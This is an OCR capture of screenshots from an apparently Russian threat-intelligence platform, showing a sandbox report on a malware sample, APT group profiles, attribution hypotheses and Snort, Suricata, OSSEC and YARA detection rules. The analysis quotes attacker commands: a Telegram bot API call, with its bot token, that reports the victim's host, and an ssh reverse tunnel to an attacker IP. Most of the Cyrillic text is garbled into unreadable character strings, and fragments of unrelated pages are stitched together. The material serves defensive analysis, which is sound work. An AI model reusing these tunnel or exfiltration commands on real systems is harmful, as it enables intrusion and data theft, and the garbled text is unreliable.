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AHann3 ceTeBoro B3aMMoaencTBums Ampire g
AHanns BI1O

| 4 Advanced details of process ~ [7752] _74fef06cff2bb57ccfa1916228ff751ffda777¢37f03fc92¢c46139311020900
d.exe

C:\Users\admin\Desktop\_74fef06cff2bb57ccfa1916228ff751ffda777c37f03fc92c46139311020900d.exe

Main information

Cotle sinng Put the slider in the desired position or select the desired segment by yourself @
Process dump 1
it Os 157.191s
I L L Lk
Modified files 8 a

[ https://api.telegram.org/bot7953238720:AAFxrralu_PBoHj5SRwkXSbbMMMK5JqVAJHU/sendMessage ]

Registry 3444 Ti

n ”
https://api.telegram.org/bot7953238720:AAFxrralu_PBoHjSRwkXSbbMMMKS5JqVAJHU/sendMessage / .
HTTP requests 17
Connections 7 +1510 ms H1  POST | 200:0K ? Unknown *@ Virgin Islands, British
L Network threats 174
Request .;nse ? api.telegram.org
Downloaded | JSON text data (67.00 b)
api.telegrarn.org‘ Mime: application/json Entropy: 5.08

~

{"chat_id":8689126309,text":" @ Started: admin@DESKTOP-JGLLJLD"} ]
Request Response 2 api.telegram.org ) Submitto analyze ¥ Download
Downloaded | JSON text data (365.00 b)
api.telegram.org ‘ Mime: application/json  Entropy: 5.04

HEX

Main

{"ok™true,result":{"message_id":588,"from":{"id": 7953238720, is_bot":true, first_name":"Colexxtor",'username":"Colextor_bot"},'chat™:
{"id":8689126309, first_name":"\u041f\u043e\u0436\u0438\u043b\u043e\u0439
\u0433\u0438\u043a\u043e\u043d\u0438\u0441" 'username":"tox_kill", type":"private"},'date”: 1783685139, "text":"\ud83d\udfe2
Started: admin@DESKTOP-JGLLJLD}}




v AHanus Tl-curHana

071 Mownck BcnomoratenbHON MHOPMaLmK

07 AxTtyanusauma naHawadTta knbepyrpos




[Tonck BcnomoratenbHOWN NHPopMaLnm Ampire 5§

Black Spark («4epHas uckpa») — aHanus

adKTUMBHOCTU U aTaku

Ha ocHoBe nocta @VaclavVeselsky (27.08.2026) 1 OTKpPbITbIX
ucTo4HWKOB » OSINT-oTyerT, cepopmmupoBaH 28.08.2026

obpaboTal nadHeld nocT B X https://x.com{VaclavVeselsky/status/2093061090984817102

HeobGxoaWMMo NOAYYNTL NOAPOBHOCTI aTakK, TEXHWUKWU, METOAbI, 8 TAKXE WHCTPYMEHTapPMA, KOTOPBIM 1. Npodunb rpynnupoBku

2. Mpodune rpyrlnuan.r.u (naHHble Uz manudecra, Wikipedia, The Record)
NoONb30BanvCh aTakyrLlpe. L(]}DF)I'«MFJVM I'IOAJ'['JOEIHI:-IM OT4YeT Ha OCHOBe CDDD'—]HHOM WHbOpMaL WK, BKAKOYARA Hassanme: Black Spark / «Uepan uckpas (Chernaya Iskra). Tun: nognonsHos

Ha3BaHWe rpynNNUPoBKK, YbA aKTUBHOCTbL 3adWKCMpOBaHa, nocneaHue nybnuyHbIe OTYETLI O faHHOM ﬁ:ZLCI:Eﬂ::nb P®, naptnaanckan cets. AkTusHa: 2025 — HacT. epema. MyGnndnsii

rpYNNUPOBKE U ee aKTUBHOCTHK, NepedYeHb MHCTPRYMEHTOB W BpeNoHOCHOMO NporpamMmMHoro obecneyeHus,
2. TexHuku u metoabl (TTP)

KOTOpaa oHa UCNONb3YET, a TakXXe OTpacnK, KOTOopblE OHa aTakKyeT
=« Human spurces / wHcangepsl — knodeeoid metog: yTeuka «HWK» uepes yuacTHura

MeCALEE A0 NyGnukaLmn; skcUnNETpaUun, faHHeIe KITMEHTOR yaaneHsl W3
0f — LieNk He TOMLKD pasBeqKa, Ho M paspylueHre HOPMaLMOHHEX

MoameHalTaMNoHMpOBaHWE AaHHBIX
AcumMMeTpUUYHENIR Lenesoi esibop

CcblIKuK 3. VIHCTpyMeHTapuii M NporpaMMHoe ofecneueHme

e CropoHa aTarytowero (3aAeneHol} AnuTenkbHelit BebiceTeBoi gocTyn K

OdopmneHHblid oTyeT (Google Docs): https://docs.google.com/document/d/1ZPilhYbZjkRI3Ikntspt- ropnopaTuErss cncremam 078 (563 saRENEHIR 0 NDONDHETApHOM MEREape).

CKPWHLUIOTEI KaK ,qmaaaTeanan Gaza; apxverposaHue yepes archive.is u Wayback

D5LCbK _bSYEW2 5vSY¥YSqVY
Machine — e,D.MHCTEI&HHhIH KaHan ceBAzn iEHDHHHHDCTI: npoeepra
ApXUWE C NONHBIM TEKCTOM OTUeTa: https://private-ai.tools/files/47e4186730a54d8eab1alead42073274.zip OTNIpaBUTeNs, yAaneHue cneaoe)

Cuctembl/T1O Ha CTOpOHE HepTe (3aTpoHYThLIE)

(nnatdhopma aHanwza cetesoro Tpaduka) — MicroOLAP: goctyn
AENEH rpynnoi, oTpuuaeTcA komnanwed; Bitrix24 CRM (ycTapeewan uHr:TaHu,uﬂ] ]
ycTapeewui eeb-caiT + dev-cuctemel Ha xocTuHre FirstVDS — MicroOLAP:
NoATEEPHAEHO KOMNAaHWeR

4_OTpacnu, atakyemsle rpynnupoBKoOn
» (ObopoHHaA NPOMBILINEHHOCTE { MPOM3BOACTBO .. ; BaHKMHI U duHaHCkl; x4
TPAHCMOPT W NOMMCTHKA:
e TocypapcteesHan nonvrpadma/cneuac




AKTyanmsauma naHawadra yrpos

KoHTekcTHaaA nHpopmauumsa

om
49

(R

-]

.

Oawitopa

Tl Lookup

Tl Reports

URL Checker

Tapudel

NMomol s

O npoaykTe

YJyeTHble 3anucu

Monpo6yiite PRO

Bonblie BO3IMOXKHOCTER
B PACLIMDEHHOW BEPCKHA
AMTIP

MogpobHee

< AMTIP

Q, Mouck no loC

OTuéThbl 0 KMBepyrposzax APT

OnyénukosaHo: 28.08.2026 O6Hosnedo: 14.09.2026

BlackJack

HaueneHa Ha HaHeceHuWe yiepba nocpecTBOM
VHUUTOXEHWUS M NOXWULLEHNS KDUTUMYECKIU BAaSKHOMN
uHbopmMaL UK. PaHee rpynnupoBKa perynapHo Aenwnack
[oKa3aTeNbCTBaMM CBONX aTaK — CKPWHLLOTaMW paboun..

Otpacne: 2SKOHOMKKA +ele 4

Ctpaua: CluA AnoHuA +eue 4

Onyb&nukoeaHo: 24.08.2026 O6HoeneHo: 05.09.2026

Lone Wolf

B cnyyae ycnewHon KOMNPOMETAL MM, OCYLWEeCTBNAET
nocT-akcnnyatalu cpeacTeamMun Cobalt Strike. nA
cbopa nHpopmMaL Uy 06 yaaneHHbIX CUCTEMax UCNoNb3yeT
SoftPerfect Network Scanner. [pogBUMXXEHWE NO CETK OCY...

OTpacne: SOKOHOMMKA +eue 4

CrpaHa: CWA  fAnoHun  +ewed

O g

BCEIlo 105 Y OunsTpsl

Ony&nukosado: 16.08.2026 O6Hosnedo: 01.09.2026

Core Werewolf

Lienb - nony4YeHnWe KOHGUABHLMANbHBLIX OaHHbLIX W

AAaHHLIX C OFrpaHUUYEeHHLIM PEXMMHLIM A0CTYNOM. 3aava
- KnbepcaboTaX, KOTOPLIA 38K I0YAETCH B YHUHUTOXEHWUI
OaHHbIX NONb30BaTENs, KOrAa BCe HeobXoaUMbIe Onepa..

Otpacne: SKOHOMKKA +ele 4

CtpaHxa: Clua AnoHuA +eue 4

OnybnukosaHo: 24.08.2026 O6HoeneHo: 05.09.2026

Dirty Wolf

MaTtTepH aTak

Otpacne: OKOHOMMKA +eue 4

CrpaHa: ClWA  flnoHua  +ewed

Ampire E‘IZ°







v ATpnbyum=

071 AHanu3 nonyyeHHbIX AaHHbIX

U2 dopmupoBaHmMe 1 TecTMpoBaHMe r1noTes

()3 BbiBOAbI M pe3yabTaThl

CBA3aTb BPEOHOCHYIO



AHaNN3 NONYYEHHbIX JaHHbIX Ampire e

Kill Chain Kill Chain (Graph

/Initial Access + Execution

MwnoTesa 1. BeinonHAanack pacceinky polyglot-¢ainoe nog, eupom ZIP-apxneoB. MNpu X 3anycke ocyLecTENAETCA PacnakoBKa M MHCTannAumMA 63Kk00poB.
IMNOTe3a OCHOBLIBAETCA HA HANKMYKME X3Luei AaHHBIX 63KA0POB B cnUcKe $painnoebix IOC'0B, a Takxe CBA3H ¢ dainamu, OGHAPYXEHHBIMU HENOCPEACTEEHHO B
WHLWAEHTE.

rmnoTe3a 2. [inA nonyYyeHWA NepBOHAYanbHOro AOCTYNA 3KCNNYaTUPYETCA YASBMMOCTs CVE-2024-43451. AKTUBHOCTb MO MCMONb30BAHUIO 3TY YASBUMOCTU

B KOHLLE rofa Taioke 3adpuKCUpoBaHa BO BHELUHeM oTueTe: hitps://securelist.ru/ntim-abuse-in-2025/114067/ Attack
acker

lnoTtesa 3 (MeHee BepoATHaA). [INA NOAYYEHWA NEPBOHAYanbHOMO AOCTYMNA 3KCMTyaTUpyeTcA yAseuMocTk B TrueConf BDU:2025-10114, BDU:2025-10116

Persi + Def Evasi
[1nA 3aKpenneHnA M NOCTOAHHOrO A0CTYNa MCNONb3YeTcA sSh-TyHHeNb, HAaCTpanBaeMbIlid Yepes:
* yepes KOMaHAbl B powershell
Set-Content -Path $CONFIG_FILE -Value $configContent -Force

|

-TrueConf

Start-Process -FilePath $sshPath -ArgumentlList "-F ~"$CONFIG_FILE " version" -NoNewWindow -PassThru

g“

Yyepes NPAMOR 3anycK yTUAWThI TrueConf Server S-TrueConf

rocess,
ssh -0 StrictHostKeyChecking=no -o ServerAliveInterval=68 -o ServerAliveCountMax=15 -f -N -R 37124 -p 80 ! )

vtvvuaweuvetafoewfaud124124615@195.133.32.213
= yTunuty Rsocx (SHA256:d7d6894c2fbce3d91af8de50e7cd649112627d94a1a9b430f6e583714d48be29)
BMO 1 MHCTRYMEHT 3arpyaloTca ¢ NOMOLLLIO ApYroro gpyroro Tuna BNo.

[pyrve BapuaHThbl 3aKpenneHns:

Yandex Update ’

Microsoft Update r.dll (PhantomRShell)
tunnel.php (Neo-reGeorg)

Discovery + Lateral Movement Backup.phe (Neo-eicearg) r exe (RSOCX)

| Mcnonb3aoeaHue ssh-TYHHENEeR, HACTPOEHHLIX Yepes TOT e UHCTPYMEHTaPMWIA.

* 3annaHMpoBaHHble 3afadn. HaseaHWe 3anav: :: \

r.exe (Rsocx)

Command and Control
B kauecTBe C2-cepeepoB UCNoNb3yloT NaHenn ynpaenexns BMO. [laHHele oTnpaBnsioTca nubo yepes ssh, nubo http Tpadwk
KoHeuHble TO4YKM, UCMONb3YEMBIE ANA OTNPABKM AaHHLIX HA C2 W ynpaBneHneM ssh-TyHHenaMu:

» fapifclients/heartbeat
s fapi/clients/register
= [apifclients/ssh-success




OopmMmupoBaHme rmnoTes Ampire gz

ATpnbyumns

TpynnupoBku

K3 CYOBEKT( M CBA33aHHOIO TEXHUYE

Srekea + [OobasuTk rpynnupoeKky

L1 rsocx
CocraBHol ¢punsTp o MpumeHuTs C6pocute :: ——

WHCTpYyMeHTbl v COAEePXUT v BDU:2025-10114 X

Haiaeno: 2 CopTvpoEKE: MO HA3BAHWID
L] . L]
E Feral Wolf R Rainbow Hyena
Bearlyfy, Laboo.boo, Toy Ghouls Head Mare, Fairy Trickster, PhantomCore, UNG0901

CnucaHue rpynnUpoBKK NoKa He AoBaeneHo. Mecnons2ytoT naaTgopMy X Ana nyGnMKaLMmM 32ABNeHUi U Pe3yNLTaTOR aTak.
Ipynna NnpyMeHAeT HECKONLKO TAKTHK NOAYYSHWA NepEOHaYanLHOro A0CTyna:
PUIKHT C BPeAOHOCHEIMKW BAOXKEHWAMM, B KOTOPLIX 3KCNAYaTUPYETCA
YAZEMMOCTE ...

LIENEBHIE CTPAHH NPONCXOKAEHWUE LENEBLIE CTRPAHLI MPOUCXOXEHME

He onpegenero Poccua, Benapyce ¥xpauHa




DopmMUpoBaHMe rmnoTes

ATpnbyumns

ATpubyuun

,' MNinotesa 1.

I

AKTUBHOCTb MOXET BbITk CBA3aHa C rpynnupual(u{ Feral Wolf (Bearlyfy)

I

I

,' B npouecce nepeoHadYansHon aTpnbyuun obHapyxun otyeT konner: https://securelist.com/kimsuky-appleseed-pebbledash-
| campaigns/119785/

In MNpu aHanuse oT4yeTa BbIABNEHbI HECKONLKO CXOACTB Uccnegyemoro exe-ganna
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MNpu aHanu3e cTpok exe-paina (SHA256: ccfal916228ff751ffda777c37f03fc92c46139311020900d)
BbifiBNeHbl cxoacTea ¢ BIN1O rpynnupoeki PhantomCore . A UMeHHO:
¢ 3anyck ssh.exe ¢ TUNOBbIMK KNKOYaMK: -o StrictHostKeyChecking=no -o UserkKnownHostsFile=NUL -o

serverAliveInterval=3® -o ServerAliveCountMax=10
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ruleINindDws_malware_APT_Sticky_ﬂerewolf_Vl

alert udp $HOME_MET any -> any 53 { l"AM DNS Query for fguib-wvniir.space (Rare Nerewolf}";l :"|eb|fguib-
vniir|®s|space|ea|”; fast pattern; 5 T0;
:url,virustotal.com/en/url/2f60elcedd6c61621ef496+F37fcB8938d430bbdffac62edfd2986427f8ba6796a/analysis;
:malware-cnc; :3436355; :1; : affected asset src, attack target Client Endpoint, created at
2026 @7 14, signature severity low, T1284.002, Ti21g, T1566.801, tias category MalwareC2, updated at
2026 687 14;)
alert http $HOME NET any -> $EXTERNAL NET any ( :FAM TROJAN PhantomHeart/PhantomTaskShell C&C Communication”;
:established; :"POST™; ; http.uri; : Iapljcilem'
:"|22|clientTId|22|"; :"|22|publicip|22|~; zcve,NA; :url, securelist.ru/head-mare-
phantomheart-and-phantomproxylite/114753; :trojan-activity; 13433754; 2 : affected_asset src,

affected os Windows, affected product microsoft:windows, affected vendor microsoft, attack target Client Endpoint,
created at 2026 83 11, malware family PhantomHeart, malware family PhantomTaskShell, malware name PhantomHeart Vi,
malware_name PhantomTaskShell W1, signature_severity high, T1841, T1859.861, T1671.681, T1284.882,
TABB82, TAG618, TAPA11, tias category Malware, updated at 2626 87 83;)

Snort/Suricata Rules

id="2088969" level="2"
200600

ignor == = i i re|Yandex\sPackages).+?AccessList. +2? (%%4416 | %%4417 | %%4418)
(O0HapyxeHa BpefOHOCHAA AKTHBHOCTL, XapakTepHaa anAa PhantomRShell

malpedia.caad. fkie.fraunhofer.de/details/win.phantomcore
T1874.801,T10836.085

543

malware

OSSEC

meta:
sid = "987268"
description = "0OBHapyxeH BpefHOCHWl apTedakT, cCBA3aHHuii c APT Sticky Werewolf™
reference = "app.any.run/tasks/d772a775-5108f-4c96-b4f9-3@56946c313a"
techniques = "T1587.881,T1574.881"
capec = "542"
cwe = "7
cve = ""
strings:
$1ibl = "Ling.dll"” nocase
$1ib2 = "Fluid.d11"™ nocase
$1ib3 = "Hjson.dll” nocase
$1lib4 = "DcUsNApxdYRySPQWEX.d11l" nocase
$1ib5 = "TimeZoneConverter.dll" nocase
$1ib6 = "nicu.dll"
$1ib7 = "icuin.d11”

$strl = "System.Private”
$str2 = "https://github.com/hjson/hjson-cs™
$str3 = "BCrypt”
$strd4 = "GCMemoryInfoData”
$strs = "DOTMET_"
§stré = "NativeFormat™
$str7 = "Permission”
$strg = "NetworkInformation™
$strg = "Winapi”
$str1@ = "Ascii”

condition:
uint16(@) == @x5A4D and
filesize < 2000KB and
3 of ($1ib*) and
7 of (3str*)

YARA
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MEPCIEKTHERBIA B
v MOHATORHHE VYenyri MNpogyKTbl KoMnaHuA HoBocTk  MpoekTol  MySnvMKaumMyM  MeponpyuATUA Q b OB MHUWAEHTE

BlonneTexn U nyﬁnMKa Lll/"/l O3HaKoOMUTbLCA
o CO CTAaTbAMM

WccnegoeaHmA
Ampire APT 50C AygunT bBronneteHb Byz WNHT
CTaTbn
Cloud Atlas: aTnac uenen, KapTa MOLWeHHMK B MIOHE aKTUBHOD
EePTB 1 KoopguHaTbl C2 3IKCNNYaTUPYOT TEMbI gedn-
umMTa TonnmMea n UemMnmoHara
CreuunanicTbl HanpaBnAeHns Mupa no pyTeony

nccnegoeadnin Knbepyrpos
NpoaHaan3MpoBasan akTMBHOCTb BINO,
NoTeHUWaNbHO CBA3AHHOIO C...

JKcnepTbl MM BbIABWAN B UKOHE
HECKOJTIbKO MOLIEHHWUYECKNX CXEM,
KOTOPbIe MOTYT ObITbh yCrewHbIMI
6bnaromapa 3KCNAyaTaunn oCTpbIX AAA. ..

VicocneposaHne APT WccneposaHne

YNTATb YUTATb
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‘ A pafoTaw 3gecs | Mognucan
v MHudopmaumoHHbii BlonneteHb UeHTpa moHuTopuHra AQ «MM»
MepcneKTUBHLIA MOHUTOPWHI

64,34 Peitvar 34 873 Mognwcymem
: e HazsaHue gokymedTa ¥Yrpo3a pacnpoctpadexduna BMO, ceA3aHHOro c XakepcKoi rpynnMpoBKoi

Room155/DarkGaboon
gevdal40 6 dee 5 11:16 Pasocnaw  2026-07-13

BpeaoHocHoe 10 Mamont cHoBa aTtakyet PO MneHtuukatop  AM-2026-ALE-0713-01
OnucaHwe yrposs TpeboBaHMA K aTakylowWwemy: Y4aneHHbel HeayTeHTHOUUMPOBAHHLIA

T KOMIaHuKW [epcnekTUEHEIR MOHWTOPWHT, WHdopMayvoHHan besonacHocte®, Android® MaKkcrmanbHbiiA pe3yabTat araku: Mony4eHne HecaHKLUWOHWMpPOBaHHOM
P — [OCTYNA K MHOPACTPYKTYPE, KOMNPOMETALMA M WKHbPOBAHME CMCTEMBI

Cuenapuii atakm: Cneywanuctamnm AO "MNM" sadmecuposaHa nonbiTHa
pacnpoctpaderus BNO. [na nepeoHadvansHoro A0CTYNa 3A0YMbILLUAEHHKUKK
MCNONb30BANKM GUILMHIOBYID DACCBIKY € BPEAOHOCHBIM BAOMEHWEM B
Buae apxueos dopmata ".zip" mnm ".rar”. Tembl PULIKMHIOBBIX NMCEM MMENK
CXOMME HAMMEHOBAHKWA: "AKT CBEPHK"
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